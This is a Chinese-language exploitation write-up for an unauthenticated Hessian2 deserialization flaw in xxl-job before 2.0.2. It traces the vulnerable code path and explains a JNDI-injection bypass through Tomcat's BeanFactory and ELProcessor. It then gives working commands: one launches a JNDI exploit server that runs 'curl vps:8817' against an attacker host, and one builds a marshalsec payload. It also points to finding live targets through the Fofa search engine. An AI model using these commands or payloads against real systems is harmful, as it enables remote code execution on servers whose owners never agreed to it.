最新版有师傅已经给出POC,配置执行器,新建任务对关联服务器执行shell
命令,但是比较蛋疼的是可能关联服务在内网,无法直接从公网攻击.
链接:https://github.com/jas502n/xxl-job
xxl-job 2.0.2
Jdk: 8u191
Linux
在version<
2.0.2版本中,JobApiController#api
中调用invokeAdminService
处理请求数据. 且设置了造成@PermessionLimit(limit=false)
访问该接口不需要鉴权
直接单步跟进com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler.invokeAdminService
=>com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler.handle
方法中,调用parseRequest
处理request
对象
继续跟进,调用readBytes
读取请求中的数据,最终是调用Hessian2
反序列化requestBytes
.
参考:https://www.veracode.com/blog/research/exploiting-jndi-injections-java
在测试时候总需要一个比较稳定的POC,高版本JDK对JNDI注入进行限制即限制远程类加载,表现在如RMI/LDAP服务收到请求,HTTP服务无响应.
绕过的思路是:在CLASSPATH中找到工厂类,对引用的Reference属性添加危险方法或属性,该危险方法也需要在CLASSPATH中存在.
原文作者利用Apache Tomcat中的org.apache.naming.factory.BeanFactory
类,结合javax.el.ELProcessor
执行任意代码.赶巧的是xxl-job
基于Spring
框架,底层是利用tomcat
服务器.
现成的JNDI Bypass利用工具已经有师傅写好,可以直接拿来用
https://github.com/welk1n/JNDI-Injection-Exploit
# 启动服务 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl vps:8817" # 生成payload java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor [rmi服务] > ~/Desktop/test13.ser
Fofa 上找个xxl-job,具体指纹访问api会有如下报错.
利用如下
https://www.xuxueli.com/xxl-job/
https://github.com/welk1n/JNDI-Injection-Exploit
https://www.veracode.com/blog/research/exploiting-jndi-injections-java